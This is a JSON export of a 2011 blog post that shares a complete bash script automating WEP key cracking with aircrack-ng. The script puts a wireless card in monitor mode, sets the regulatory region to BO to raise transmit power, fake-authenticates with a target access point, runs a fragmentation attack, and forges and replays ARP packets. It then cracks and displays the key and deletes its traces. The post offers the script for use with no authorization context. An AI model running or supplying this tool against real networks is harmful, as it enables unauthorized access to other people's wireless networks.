{"id":48,"date":"2011-05-20T11:57:29","date_gmt":"2011-05-20T10:57:29","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=48"},"modified":"2011-07-14T11:25:00","modified_gmt":"2011-07-14T10:25:00","slug":"automated-wep-cracking-script","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/20\/automated-wep-cracking-script\/","title":{"rendered":"Automated WEP cracking script"},"content":{"rendered":"<p>I have wrote an automated WEP cracking script (matts-wepcrack.sh). Let me know if you have any improvements.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/>38<br \/>39<br \/>40<br \/>41<br \/>42<br \/>43<br \/>44<br \/>45<br \/>46<br \/>47<br \/>48<br \/>49<br \/>50<br \/>51<br \/>52<br \/>53<br \/>54<br \/>55<br \/>56<br \/>57<br \/>58<br \/>59<br \/>60<br \/>61<br \/>62<br \/>63<br \/>64<br \/>65<br \/>66<br \/>67<br \/>68<br \/>69<br \/>70<br \/>71<br \/>72<br \/>73<br \/>74<br \/>75<br \/>76<br \/>77<br \/>78<br \/>79<br \/>80<br \/>81<br \/>82<br \/>83<br \/>84<br \/>85<br \/>86<br \/>87<br \/>88<br \/>89<br \/>90<br \/>91<br \/>92<br \/>93<br \/>94<br \/>95<br \/>96<br \/>97<br \/>98<br \/>99<br \/>100<br \/>101<br \/>102<br \/>103<br \/>104<br \/>105<br \/>106<br \/>107<br \/>108<br \/>109<br \/>110<br \/>111<br \/>112<br \/>113<br \/>114<br \/>115<br \/>116<br \/>117<br \/>118<br \/>119<br \/>120<br \/>121<br \/>122<br \/>123<br \/>124<br \/>125<br \/>126<br \/>127<br \/>128<br \/>129<br \/>130<br \/>131<br \/>132<br \/>133<br \/>134<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co0\">#!\/bin\/bash<\/span><br \/>\n<span class=\"co0\"># wepcrack.sh v1.3<\/span><br \/>\n<span class=\"co0\"># Create by Matthew Phillips<\/span><br \/>\n<span class=\"co0\"># New versions can be downloaded from www.phillips321.co.uk<\/span><br \/>\n<span class=\"re2\">VERSION<\/span>=<span class=\"st0\">&quot;1.3&quot;<\/span><br \/>\n<span class=\"co0\">#<\/span><br \/>\n<span class=\"co0\"># This tool requires aircrack-ng tools to be installed and run as root<\/span><br \/>\n<span class=\"co0\">#<\/span><br \/>\n<span class=\"co0\"># ChangeLog....<\/span><br \/>\n<span class=\"co0\"># Version 1.3 - Randomises interface MAC address<\/span><br \/>\n<span class=\"co0\"># Version 1.2 - Set txpower of card to 1000mw :-)<\/span><br \/>\n<span class=\"co0\"># Version 1.1 - Display key and BSSID at end of crack<\/span><br \/>\n<span class=\"co0\"># Version 1.0 - First Release<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECKING FOR ROOT<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"sy0\">`<\/span><span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"re1\">$USER<\/span><span class=\"sy0\">`<\/span> <span class=\"sy0\">!<\/span>= <span class=\"st0\">&quot;root&quot;<\/span> <span class=\"br0\">&#93;<\/span><br \/>\n<span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE:&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: ERROR: Please run as root!&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE:&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">exit<\/span> <span class=\"nu0\">1<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECKING TO SEE IF INTERFACE IS PROVIDED<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${1}<\/span> <span class=\"br0\">&#93;<\/span><br \/>\n<span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Version number <span class=\"es3\">${VERSION}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Usage: <span class=\"es5\">`basename ${0}`<\/span> [interface] [BSSID] [channel]&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Example #<span class=\"es5\">`basename ${0}`<\/span> wlan0 (everything else is optional)&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">exit<\/span> <span class=\"nu0\">1<\/span><br \/>\n<span class=\"kw1\">else<\/span><br \/>\n&nbsp; &nbsp; <span class=\"re2\">INTERFACE<\/span>=<span class=\"st0\">&quot;<span class=\"es5\">`echo &quot;${1}&quot; | cut -c 1-6`<\/span>&quot;<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># PUT WIFI IN HIGHPOWER AND MONITOR MODE AND CHANGE MAC<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\">#macchanger -r ${INTERFACE}<\/span><br \/>\niw reg <span class=\"kw1\">set<\/span> BO<br \/>\niwconfig <span class=\"co1\">${INTERFACE}<\/span> txpower <span class=\"nu0\">30<\/span><br \/>\n<span class=\"re2\">POWER<\/span>=<span class=\"sy0\">`<\/span>iwlist <span class=\"co1\">${INTERFACE}<\/span> txpower <span class=\"sy0\">|<\/span> <span class=\"kw2\">grep<\/span> Current <span class=\"sy0\">|<\/span> <span class=\"kw2\">tr<\/span> <span class=\"re5\">-s<\/span> <span class=\"st_h\">' '<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-d<\/span> <span class=\"st_h\">'('<\/span> <span class=\"re5\">-f2<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">sed<\/span> <span class=\"re5\">-e<\/span> s<span class=\"sy0\">\/<\/span><span class=\"st_h\">')'<\/span><span class=\"sy0\">\/\/`<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: <span class=\"es3\">${INTERFACE}<\/span> power set to <span class=\"es3\">${POWER}<\/span>&quot;<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Putting <span class=\"es3\">${INTERFACE}<\/span> in monitor mode&quot;<\/span><br \/>\nairmon-ng start <span class=\"co1\">${INTERFACE}<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># GET INTERFACE MAC ADDRESS<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"re2\">MACADDRESS<\/span>=<span class=\"sy0\">`<\/span><span class=\"kw2\">ifconfig<\/span> <span class=\"co1\">${INTERFACE}<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">grep<\/span> <span class=\"co1\">${INTERFACE}<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">tr<\/span> <span class=\"re5\">-s<\/span> <span class=\"st_h\">' '<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-d<\/span> <span class=\"st_h\">' '<\/span> <span class=\"re5\">-f5<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-c<\/span> <span class=\"nu0\">1<\/span>-<span class=\"nu0\">17<\/span><span class=\"sy0\">`<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECK IF BSSID,CHANNEL &amp; TARGETNAME WERE PROVIDED<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${2}<\/span> <span class=\"br0\">&#93;<\/span> <span class=\"sy0\">||<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${3}<\/span> <span class=\"br0\">&#93;<\/span> ; <span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\"># SHOW VISIBLE WEP NETWORKS<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Will now display all visible WEP networks&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-p<\/span> <span class=\"st0\">&quot;MESSAGE: Press enter to view networks&quot;<\/span><br \/>\n&nbsp; &nbsp; airodump-ng <span class=\"re5\">--encrypt<\/span> WEP <span class=\"co1\">${INTERFACE}<\/span> <span class=\"co0\"># mon0<\/span><br \/>\n<br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\"># USER INPUT DETAILS FROM AIRODUMP<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">while<\/span> <span class=\"kw2\">true<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">do<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Please enter the target BSSID here: &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> BSSID<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Please enter the target channel here: &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CHANNEL<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target BSSID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${BSSID}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target Channel &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${CHANNEL}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Interface MAC Address &nbsp; : <span class=\"es3\">${MACADDRESS}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Is this information correct? (y or n): &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CONFIRM<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">case<\/span> <span class=\"re1\">$CONFIRM<\/span> <span class=\"kw1\">in<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y<span class=\"sy0\">|<\/span>Y<span class=\"sy0\">|<\/span>YES<span class=\"sy0\">|<\/span><span class=\"kw2\">yes<\/span><span class=\"sy0\">|<\/span>Yes<span class=\"br0\">&#41;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">break<\/span> <span class=\"sy0\">;;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">*<\/span><span class=\"br0\">&#41;<\/span> <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Please re-enter information&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">esac<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">done<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># START AIRODUMP IN XTERM WINDOW<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Starting packet capture - Ctrl-c to end it&quot;<\/span><br \/>\nxterm <span class=\"re5\">-e<\/span> <span class=\"st0\">&quot;airodump-ng -c <span class=\"es3\">${CHANNEL}<\/span> --bssid <span class=\"es3\">${BSSID}<\/span> --ivs -w capture <span class=\"es3\">${INTERFACE}<\/span>&quot;<\/span> <span class=\"sy0\">&amp;<\/span> <span class=\"re2\">AIRODUMPPID<\/span>=<span class=\"re4\">$!<\/span><br \/>\n<span class=\"kw2\">sleep<\/span> <span class=\"nu0\">2<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># ASSOCIATE WITH AP &amp; THEN PERFORM FRAGMENTATION ATTACK<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\naireplay-ng <span class=\"re5\">-1<\/span> <span class=\"nu0\">0<\/span> <span class=\"re5\">-a<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"re5\">-h<\/span> <span class=\"co1\">${MACADDRESS}<\/span> <span class=\"co1\">${INTERFACE}<\/span><br \/>\naireplay-ng <span class=\"re5\">-5<\/span> <span class=\"re5\">-b<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"re5\">-h<\/span> <span class=\"co1\">${MACADDRESS}<\/span> <span class=\"co1\">${INTERFACE}<\/span><br \/>\npacketforge-ng <span class=\"re5\">-0<\/span> <span class=\"re5\">-a<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"re5\">-h<\/span> <span class=\"co1\">${MACADDRESS}<\/span> <span class=\"re5\">-k<\/span> 255.255.255.255 <span class=\"re5\">-l<\/span> 255.255.255.255 <span class=\"re5\">-y<\/span> <span class=\"sy0\">*<\/span>.xor <span class=\"re5\">-w<\/span> arp-packet <span class=\"co1\">${INTERFACE}<\/span><br \/>\nxterm <span class=\"re5\">-e<\/span> <span class=\"st0\">&quot;aireplay-ng -2 -r arp-packet <span class=\"es3\">${INTERFACE}<\/span>&quot;<\/span> <span class=\"sy0\">&amp;<\/span> <span class=\"re2\">AIREPLAYPID<\/span>=<span class=\"re4\">$!<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># ATTEMPTING TO CRACK<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\">#while true<\/span><br \/>\n<span class=\"co0\">#do<\/span><br \/>\n&nbsp; &nbsp; aircrack-ng <span class=\"re5\">-n<\/span> <span class=\"nu0\">128<\/span> <span class=\"re5\">-b<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"sy0\">*<\/span>.ivs <span class=\"re5\">-l<\/span> key.txt<br \/>\n<span class=\"co0\"># &nbsp; echo -n &quot;MESSAGE: Did you get the key?: (y or no)&quot;<\/span><br \/>\n<span class=\"co0\"># &nbsp; read -e CONFIRM<\/span><br \/>\n<span class=\"co0\"># &nbsp; case $CONFIRM in<\/span><br \/>\n<span class=\"co0\"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y|Y|YES|yes|Yes)<\/span><br \/>\n<span class=\"co0\"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break ;;<\/span><br \/>\n<span class=\"co0\"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *) echo &quot;MESSAGE: Will attempt to crack again...&quot; &amp;&amp; sleep 3<\/span><br \/>\n<span class=\"co0\"># &nbsp; esac<\/span><br \/>\n<span class=\"co0\">#done<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># OUTPUT BSSID AND KEY<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"re2\">KEY<\/span>=<span class=\"sy0\">`<\/span><span class=\"kw2\">cat<\/span> key.txt<span class=\"sy0\">`<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target BSSID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${BSSID}<\/span>&quot;<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target Key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${KEY}<\/span>&quot;<\/span><br \/>\n<br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># DELETE FILES CREATED DURING WEP CRACKING<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw2\">kill<\/span> <span class=\"co1\">${AIRODUMPPID}<\/span><br \/>\n<span class=\"kw2\">kill<\/span> <span class=\"co1\">${AIREPLAYPID}<\/span><br \/>\nairmon-ng stop mon0<br \/>\n<span class=\"kw2\">rm<\/span> <span class=\"sy0\">*<\/span>.ivs <span class=\"sy0\">*<\/span>.cap <span class=\"sy0\">*<\/span>.xor key.txt<br \/>\n<span class=\"kw3\">exit<\/span> <span class=\"nu0\">0<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>I have wrote an automated WEP cracking script (matts-wepcrack.sh). Let me know if you have any improvements. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134#!\/bin\/bash # wepcrack.sh v1.3 # Create by Matthew Phillips # New versions can be downloaded from www.phillips321.co.uk VERSION=&quot;1.3&quot; # # This tool requires aircrack-ng tools to be installed and run as root # # ChangeLog&#8230;. # Version 1.3 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[28,84,29,5,24,25,26],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":6,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":196,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48\/revisions\/196"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}